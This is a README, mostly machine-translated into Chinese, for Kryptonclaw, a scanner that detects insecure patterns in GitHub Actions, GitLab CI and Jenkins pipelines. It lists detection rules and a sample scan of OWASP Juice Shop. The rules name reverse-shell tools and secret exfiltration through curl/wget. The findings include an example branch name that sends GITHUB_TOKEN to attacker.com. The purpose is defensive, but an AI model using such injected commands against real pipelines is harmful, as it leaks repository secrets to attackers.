氪星法律
用于GitHub操作、GitLab CI和Jenkins的CI/CD安全扫描程序
Kryptonclaw在CI/CD管道中检测到30多种攻击模式,这些模式与HackerBot Claw活动(2026年2月)中使用的向量相同,该活动破坏了微软、DataDog、CNCF和Trivy存储库的工作流程。它通过GitHub API扫描工作流文件,无需克隆repos,支持组织批量扫描,并输出SARIF用于直接集成GitHub代码扫描。
$ kryptonclaw scan --repo juice-shop/juice-shop
Kryptonclaw Scan Report: juice-shop/juice-shop
Scanned 12 files across 1 repos in 253ms
Findings: 29 total (Critical: 0, High: 9, Medium: 20, Low: 0)
--------------------------------------------------------------------------------
[HIGH] Remote script execution (curl|bash, wget|sh) (KC-104)
Location: .github/workflows/ci.yml
Pipeline downloads and executes remote scripts via curl|bash or wget|sh.
An attacker who compromises the remote URL can execute arbitrary code.
Fix: Download scripts, verify checksums, then execute.
CWE: CWE-829
[HIGH] Untrusted input in workflow expression (KC-101)
Location: .github/workflows/ci.yml
github.head_ref used in run: step — attacker-controlled branch names
can inject shell commands via crafted PR branch names.
Fix: Pass untrusted input via environment variable, not direct interpolation.
CWE: CWE-94
[MED] Mutable tag reference (KC-003)
Location: .github/workflows/ci.yml
Action coverallsapp/github-action@v2 uses a mutable tag.
Fix: Pin to a full commit SHA: uses: action@
CWE: CWE-829
...______________________________________________________________________
为什么Kryptonclaw
大多数CI/CD安全工具侧重于容器映像或依赖关系扫描。他们错过了管道本身——定义运行什么代码、使用什么权限以及访问什么秘密的YAML配置文件。
攻击者知道这一点。HackerBot Claw活动被利用 pull_request_target 触发器以对基础存储库具有写访问权限的方式运行恶意代码。未加密的GitHub Actions允许通过标签突变导致供应链中毒。通过工作流注入 ${{ github.event.pull_request.title }} 让攻击者在受信任的管道内执行命令。
Kryptonclaw捕捉到了所有这些模式以及更多。它应用了基于正则表达式的检测和基于YAML的结构分析来发现简单的基于grep的工具遗漏的漏洞,比如 pull_request_target 触发器与 actions/checkout 在同一工作中引用PR负责人SHA。
关键能力:
- API首次扫描 -通过GitHub Contents API获取工作流文件。没有git克隆,没有磁盘I/O,没有存储库签出。
- 全组织批量扫描 --使用单个命令扫描GitHub组织中的每个repo。可配置的并发性,感知速率限制。
- 30+检测规则 --GitHub Actions、GitLab CI、Jenkins,以及通用的CI/CD模式。每个规则都映射到CWE ID,并提供补救指导。
- YAML结构分析 --将工作流解析为类型化结构,以检测跨越触发器、权限和步骤的多步攻击链。
- SARIF v2.1.0输出 --将结果直接放入GitHub代码扫描。还支持JSON和人类可读文本。
- MCP服务器 --10个与人工智能助手和自动化安全工作流程集成的工具。
- 红队模式 --通过armyknife llm红队桥生成可选漏洞利用场景。
______________________________________________________________________
安装
来自crates.io
cargo install kryptonclaw这将同时安装 kryptonclaw (CLI)和 kryptonclaw-mcp (MCP服务器)到 ~/.cargo/bin/.
来源
git clone https://github.com/armyknife-social/kryptonclaw.git
cd kryptonclaw
cargo build --release
# Binaries at:
# target/release/kryptonclaw (CLI)
# target/release/kryptonclaw-mcp (MCP server)需要Rust 1.75或更高版本。
添加到PATH
# If installed from source:
cp target/release/kryptonclaw ~/.local/bin/
cp target/release/kryptonclaw-mcp ~/.local/bin/______________________________________________________________________
用法
扫描单个存储库
# API-only scan (no clone, fast)
kryptonclaw scan --repo owner/repo
# With explicit token
kryptonclaw scan --repo owner/repo --token $GITHUB_TOKEN扫描整个组织
# Scan all repos in an org (default: 4 concurrent)
kryptonclaw scan --org my-company
# Higher concurrency for large orgs
kryptonclaw scan --org my-company --concurrency 8
# Only show high and critical findings
kryptonclaw scan --org my-company --min-severity high扫描本地目录
# Scan local .github/workflows/ files
kryptonclaw scan --path /path/to/repo
# Deep scan (walks entire directory tree)
kryptonclaw scan --path /path/to/repo --deep输出格式
# Human-readable (default)
kryptonclaw scan --repo owner/repo
# JSON (full report structure)
kryptonclaw scan --repo owner/repo --format json
# SARIF v2.1.0 (GitHub Code Scanning)
kryptonclaw scan --repo owner/repo --format sarif -o results.sarif上传到GitHub代码扫描
kryptonclaw scan --repo owner/repo --format sarif -o results.sarif
gh code-scanning upload results.sarif列出检测规则
kryptonclaw rulesRule ID Severity CWE Description
--------------------------------------------------------------------------------
KC-001 HIGH CWE-269 workflow_run trigger (privilege escalation chain)
KC-002 HIGH CWE-829 Unpinned action reference (branch/tag instead of SHA)
KC-003 MEDIUM CWE-829 Mutable tag ref (e.g., @v4 instead of @v4.1.1 or full SHA)
KC-004 MEDIUM CWE-494 Artifact upload/download without verification
KC-005 CRITICAL CWE-94 actions/github-script with user-controlled input
...红队模式
# Generate exploit scenarios for each finding
kryptonclaw scan --repo owner/repo --redteam需要 armyknife-llm-redteam-mcp 在PATH上。启用后,将分析每个发现,以使用MITRE ATT&CK映射生成概念验证攻击场景。
______________________________________________________________________
检测规则
Kryptonclaw附带了由CI平台组织的30多条规则。每个规则都包括CWE映射、严重性分类和补救指南。
GitHub操作
| 规则 | 严重性 | CWE | 检测 | ||
|---|---|---|---|---|---|
| KC-100 | 临界 | 863 | pull_request_target trigger——使用写访问权限和基本仓库机密运行 | ||
| KC-005 | 严重 | 94 | actions/github-script 使用用户控制的输入——使用完整的GITHUB_TOKEN执行JS | ||
| KC-102 | 危急 | 200 | 通过秘密渗透 curl/wget 到外部端点 | ||
| KC-103 | 临界 | 78 | 反向壳型(netcat -e, /dev/tcp/) | ||
| KC-001 | 高 | 269 | workflow_run 触发器——来自分叉PR的特权升级链 | ||
| KC-002 | 高 | 829 | 未固定动作参考(@main, @master)--可变的供应链风险 | ||
| KC-008 | 高 | 20 | 复合作用 ${{ inputs.* }} 在 run: 未经验证的步骤 | ||
| KC-009 | 高 | 200 | secrets: inherit 将所有存储库机密传递给调用的工作流 | ||
| KC-010 | 高位 | 269 | permissions: write-all 授予GITHUB_TOKEN完全访问权限 | ||
| KC-011 | 高 | 94 | 扩展上下文注入(discussion.body, review.body, pages.*.page_name) | ||
| KC-014 | 高 | 269 | OIDC id-token: write --超范围的云提供商访问 | ||
| KC-101 | 高 | 94 | 输入注入不可信(issue.body, pull_request.title, head_ref) | ||
| KC-104 | 高位 | 829 | `curl \ | bash / wget \ | sh` --远程脚本执行 |
| KC-105 | 高 | 200 | ACTIONS_RUNTIME_TOKEN 日志或不受信任的进程中的暴露 | ||
| KC-003 | 中等 | 829 | 可变标签参考文献(@v4 而不是 @v4.1.1 或完整SHA) | ||
| KC-004 | 中等 | 494 | 未经校验和验证的工件上传/下载 | ||
| KC-006 | 中等 | 250 | 自托管运行程序使用情况——持久状态启用后门 | ||
| KC-007 | 中等 | 269 | 缺失 permissions: block--可以默认为 write-all | ||
| KC-012 | 中等 | 601 | 环境URL注入——通过部署URL进行钓鱼 | ||
| KC-013 | 中等 | 345 | 通过可预测的缓存中毒 actions/cache 钥匙 |
GitLab 的
| 规则 | 严重性 | CWE | 检测 |
|---|---|---|---|
| KC-204 | 高 | 250 | privileged: true 容器执行--主机逃逸风险 |
| KC-200 | 中型 | 829 | 远程/跨项目 include: 篡改 |
| KC-201 | 中等 | 693 | allow_failure: true 论安全扫描阶段 |
| KC-203 | 中等 | 200 | 无保护/屏蔽CI/CD变量的变量扩展 |
| KC-205 | 中等 | 200 | 直接引用触发器令牌而不是作为受保护变量 |
| KC-202 | 低 | 693 | 可跳过的手动安全门 |
詹金斯
| 规则 | 严重性 | CWE | 检测 |
|---|---|---|---|
| KC-300 | 危急 | 829 | @Grab 依赖注入——任意运行时下载 |
| KC-301 | 高 | 78 | 通过Groovy字符串插值进行Shell注入 sh 步骤 |
| KC-304 | 高位 | 693 | @NonCPS Groovy沙盒旁路——控制器上的任意代码 |
| KC-306 | 高 | 269 | 管道代码中的管理员权限检查 |
| KC-302 | 中等 | 829 | 动态 load() 管道库加载 |
| KC-305 | 中等 | 829 | @Library 无版本pin——可变默认分支 |
| KC-303 | 低 | 200 | withCredentials 范围太广 |
YAML结构分析
除了正则表达式匹配之外,kryptonclaw还将GitHub Actions工作流解析为类型化结构并应用语义检查:
- HackerBot爪模式检测:标识
pull_request_target触发器与actions/checkout引用github.event.pull_request.head.sha或github.head_ref在同一份工作中。这正是2026年2月战役中使用的攻击链。 - 复合输入注入:检测
${{ inputs.* }}插值run:跨解析的作业定义的步骤。 - 工作流调度输入注入:查找
${{ github.event.inputs.* }}直接在shell命令中使用。
结构分析捕获了跨越多个YAML键且无法用单行正则表达式可靠检测的模式。
附加扫描仪
Kryptonclaw还包括:
- 秘密扫描仪 --12种凭据模式(AWS密钥、GitHub PAT、Slack令牌、OpenAI密钥、私钥、数据库密码)。适用于所有扫描的文件。
- 供应链扫描器 --40多个已知的拼写错误的包名、恶意生命周期钩子、自定义注册表检测、依赖关系混淆模式。涵盖了npm、PyPI、Cargo、Go模块、RubyGems。
______________________________________________________________________
支持的CI/CD平台
| 平台 | 文件检测 | 规则 |
|---|---|---|
| GitHub操作 | .github/workflows/*.yml | 20个专用+通用 |
GitLab 的 .gitlab-ci.yml | 6专用+通用 | |
| 詹金斯 | Jenkinsfile, Jenkinsfile.* | 7专用+通用 |
| 特拉维斯CI | .travis.yml | 通用模式 |
Circle的 .circleci/*.yml | 通用模式 | |
| Azure管道 | azure-pipelines.yml | 通用模式 |
平台检测通过文件路径进行,对于模糊的YAML文件,通过内容启发式进行(runs-on: + steps: =GitHub操作, stages: + script: GitLab CI)。
______________________________________________________________________
MCP服务器
Kryptonclaw包括一个模型上下文协议服务器,其中包含10个工具,用于与人工智能助手和自动化安全工作流程集成。
# Start the MCP server
kryptonclaw-mcpMCP配置
添加到MCP客户端配置中:
{
"mcpServers": {
"kryptonclaw": {
"type": "stdio",
"command": "kryptonclaw-mcp",
"args": []
}
}
}可用工具
| 工具 | 说明 |
|---|---|
kryptonclaw_scan_repo | 通过GitHub Contents API扫描单个回购 |
kryptonclaw_scan_org | 扫描GitHub组织中的所有存储库 |
kryptonclaw_scan_workflow | 扫描原始工作流YAML内容(直接粘贴) |
kryptonclaw_findings | 查询和筛选上次扫描的结果 |
kryptonclaw_rules | 列出所有带有元数据的检测规则 |
kryptonclaw_explain | 按ID解释规则,并提供完整的补救指导 |
kryptonclaw_redteam | 为特定发现生成漏洞利用场景 |
kryptonclaw_sarif | 将上次扫描导出为SARIF v2.1.0 JSON |
kryptonclaw_status | 显示扫描状态和缓存的结果计数 |
kryptonclaw_config | 获取配置值 |
所有工具都接受 token 参数或回退到 GITHUB_TOKEN / GH_TOKEN 环境变量。输出会自动净化以编辑凭据。
______________________________________________________________________
建筑
kryptonclaw
├── cli/ Command-line interface (clap 4)
├── core/ Engine, findings, config, reports
├── plugins/
│ └── builtin/
│ ├── cicd/ CI/CD scanner (regex + YAML parser)
│ │ ├── github_actions.rs
│ │ ├── gitlab_ci.rs
│ │ ├── jenkins.rs
│ │ ├── parser.rs YAML structural analysis
│ │ └── rules.rs Rule definitions + matching engine
│ ├── secrets.rs Credential pattern detection
│ └── supply_chain.rs Package supply chain analysis
├── platform/ GitHub API client (Contents API, org listing)
├── scan/ API-only and batch scanning orchestration
├── mcp/ MCP server (10 tools, rmcp 0.16)
├── output/ Text, JSON, SARIF formatters
└── redteam/ armyknife-llm-redteam bridge设计原则:
- API第一个:默认扫描模式使用GitHub Contents API。没有git克隆,没有磁盘写入,没有存储库签出。这使得整个组织的扫描既快速又安全。
- 纵深防御:正则表达式规则可以快速捕获已知模式。YAML解析捕获跨越多个键的结构模式。两者都在每个文件上运行。
- 解析时打开失败:格式错误的YAML(在攻击场景中有时是故意的)退回到仅扫描正则表达式而不是跳过文件。
- 限速意识:GitHub API客户端通过
x-ratelimit-remaining标题。当预算用尽时,扫描会优雅地停止,而不是敲打403。 - 异步贯穿始终:基于Tokio构建,具有异步HTTP、异步插件执行和异步批处理编排功能。
______________________________________________________________________
环境变量
| 变量 | 目的 |
|---|---|
GITHUB_TOKEN | GitHub API身份验证(主要) |
GH_TOKEN | GitHub API身份验证(回退) |
______________________________________________________________________
SARIF集成
Kryptonclaw生成与GitHub代码扫描、VS代码SARIF查看器和其他SARIF消费工具兼容的SARIF v2.1.0输出。
SARIF输出包括:
reportingDescriptor每个规则的条目,包括ID、描述、严重性和CWE标签result每个查找项的物理位置条目(文件路径+行号)- 严重性映射:严重/高到
error,中等至warning,低/信息note
# Generate and upload to GitHub Code Scanning
kryptonclaw scan --org my-company --format sarif -o scan.sarif
gh code-scanning upload scan.sarif --ref refs/heads/main______________________________________________________________________
演出
| 场景 | 典型时间 |
|---|---|
| 单个repo(仅限API,3个工作流文件) | 1-2秒 |
| 组织(50个repos) | 2-5分钟 |
| 组织(200个存储库,并发8) | 8-15分钟 |
| 本地目录扫描 | \<1秒 |
速率限制:经过身份验证的GitHub API每小时允许5000个请求。每个回购扫描使用2-10个API调用,具体取决于工作流计数。200-repo组织扫描使用大约1000-2000个API调用。
______________________________________________________________________
真实世界测试:OWASP果汁店
为了验证检测的准确性,对kryptonclaw进行了测试 OWASP Juice Shop --最受欢迎的故意易受攻击的web应用程序之一,由OWASP基金会维护,有12个GitHub Actions工作流文件。
$ kryptonclaw scan --repo juice-shop/juice-shop
Kryptonclaw Scan Report: juice-shop/juice-shop
Scanned 12 files across 1 repos in 253ms
Findings: 29 total (Critical: 0, High: 9, Medium: 20, Low: 0)调查结果细分
严重程度高(9项发现)
| 规则 | 文件 | 查找 | ||
|---|---|---|---|---|
| KC-104 | ci.yml | `curl \ | bash 远程脚本执行--通过安装Heroku CLI curl https://cli-assets.heroku.com/install.sh \ | sh` 下载并执行远程脚本,无需校验和验证。如果Heroku CDN受到威胁,任意代码将在CI管道内运行,并完全访问机密。 |
| KC-101 | ci.yml | 通过以下方式注入分行名称 github.head_ref --工作流插值 ${{ github.head_ref }} 直接进入a run: 步骤。攻击者可以用分支名称制作PR,如下所示 ` curl attacker.com/steal?t=$GITHUB_TOKEN ` 泄露秘密。 | ||
| KC-101 | codeql-analysis.yml | 一样 github.head_ref CodeQL分析工作流中的注入模式。 | ||
| KC-101 | rebase-nightly.yml | 相同的模式——在夜间重基工作流中进行分支名称插值。 | ||
| KC-101 | update-challenges.yml | 挑战更新工作流中的模式相同。 | ||
| KC-101 | lint-fixer.yml | lint自动修复工作流程中的模式相同。 | ||
| KC-101 | test-desktop-app.yml | Electron桌面应用程序测试工作流中的模式相同。 | ||
| KC-101 | update-challenges-on-comment.yml | 问题评论引发了同样的模式。 | ||
| KC-104 | release.yml | 第二名 `curl \ | bash` 发布工作流中的实例。 |
中度严重(20项发现)
| 规则 | 计数 | 查找 |
|---|---|---|
| KC-007 | 10 | 缺失 permissions: block——12个工作流文件中有10个没有明确的权限声明。当存储库的默认令牌权限设置为“读写”时,每个工作流都以对存储库、包和部署的完全写入权限运行。 |
| KC-003 | 6 | 可变标签引用——类似操作 coverallsapp/github-action@v2, github/codeql-action/init@v3,以及 github/codeql-action/analyze@v3 使用主版本标签而不是完整提交SHA。如果一个标签是由一个妥协的维护者强行推送的,那么工作流会默默地运行不同的代码。 |
| KC-004 | 4 | 未经验证的工件上传/下载-- actions/upload-artifact 和 actions/download-artifact 无需校验和验证即可使用。在多作业工作流中,工件可以在上传和下载之间被篡改。 |
关键要点
- 分行名称注入是系统性的。 12个工作流中的7个进行插值
github.head_ref直接输入shell命令。这是启用HackerBot Claw活动的同一类漏洞——攻击者控制分支名称,分支名称成为代码。
- 远程脚本执行是一个真正的供应链风险。 Heroku CLI安装通过
curl | sh信任第三方CDN来交付未经修改的代码。受损的CDN或DNS劫持使攻击者可以在CI内执行代码,并访问部署凭据。
- 缺少权限声明的情况很普遍。 12个工作流中有10个依赖于存储库默认值,而不是明确限定GITHUB_TOKEN权限。最小特权原则不适用。
- 可变动作引用允许无声的供应链攻击。 使用
@v2或@v3SHA不是固定提交,而是意味着受感染的上游操作可以将恶意代码注入到每个工作流运行中,而不会对工作流文件进行任何可见的更改。
- 扫描在253毫秒内完成 通过GitHub Contents API--无存储库克隆,无磁盘I/O,12个文件通过30多个检测规则提取和分析。
______________________________________________________________________
贡献
欢迎捐款。要添加新的检测规则,请执行以下操作:
- 选择合适的模块(
github_actions.rs,gitlab_ci.rs,jenkins.rs,或rules.rs对于通用模式) - 添加一个
RegexRule条目包含:规则ID(KC-NNN)、正则表达式模式、标题、严重性、描述、补救、CWE ID - 将规则元数据添加到
all_rules()在rules.rs - 在中添加测试用例
cicd/mod.rs - 跑
cargo test验证
______________________________________________________________________
许可证
双重许可 麻省理工学院 和 Apache 2.0。选择你喜欢的。
